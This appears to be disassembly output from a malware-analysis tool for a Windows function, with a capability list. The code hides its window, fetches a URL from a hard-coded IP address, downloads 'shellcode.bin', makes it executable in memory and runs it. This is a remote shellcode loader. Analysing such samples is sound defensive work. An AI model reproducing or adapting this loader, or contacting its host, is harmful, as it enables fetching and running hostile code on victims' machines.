Function at 0x401040
Capabilities:
Create http request
Download url
Hide graphical window
Read data from internet
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
push 1
push str.MyApp
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x401093
push str.Failed_to_initialize_WinINet._n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [edi + 1]
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0x80000000
push 0
push 0
push str.http:__154.204.181.133_10.txt
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4010d4
push str.Failed_to_open_URL_file._n
call fcn.00401010
add esp, 4
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [esi + 2]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0xff
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012b5
cmp dword [ebp - 4], 0
je 0x4012b5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x108], 0
cmp eax, 1
jb 0x401132
mov cl, byte [ebp + eax - 0x109]
cmp cl, 0xa
je 0x40112a
cmp cl, 0xd
jne 0x401132
mov byte [ebp + eax - 0x109], 0
push 0
push 0
push str.shellcode.bin
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x40116c
push str.Failed_to_download_shellcode_file._n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop esi
mov eax, 4
pop edi
mov esp, ebp
pop ebp
ret
push 0x41aba0
push str.shellcode.bin
call fcn.004033fa
mov esi, eax
add esp, 8
test esi, esi
jne 0x4011a0
push str.Failed_to_open_shellcode_file._n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [esi + 5]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push 2
push 0
push esi
call fcn.00403914
push esi
call fcn.00403338
push 0
push 0
push esi
mov ebx, eax
call fcn.00403914
push ebx
call fcn.00405075
mov edi, eax
add esp, 0x20
test edi, edi
jne 0x4011ef
push str.Failed_to_allocate_memory_for_shellcode._n
call fcn.00401010
push esi
call fcn.004035d4
add esp, 8
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop ebx
pop esi
lea eax, [edi + 6]
pop edi
mov esp, ebp
pop ebp
ret
push esi
push ebx
push 1
push edi
call fcn.00404f3a
push esi
mov ebx, eax
call fcn.004035d4
add esp, 0x14
push 4
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40123d
push str.Failed_to_allocate_executable_memory._n
call fcn.00401010
push edi
call fcn.00404d39
add esp, 8
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop ebx
lea eax, [esi + 7]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push esi
call fcn.004027c0
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x20
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40128d
push str.Failed_to_change_memory_protection._n
call fcn.00401010
push edi
call fcn.00404d39
add esp, 8
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop ebx
pop esi
mov eax, 8
pop edi
mov esp, ebp
pop ebp
ret
call esi
push edi
call fcn.00404d39
add esp, 4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop ebx
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push str.Failed_to_read_URL_file._n
call fcn.00401010
add esp, 4
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
pop esi
mov eax, 3
pop edi
mov esp, ebp
pop ebp
ret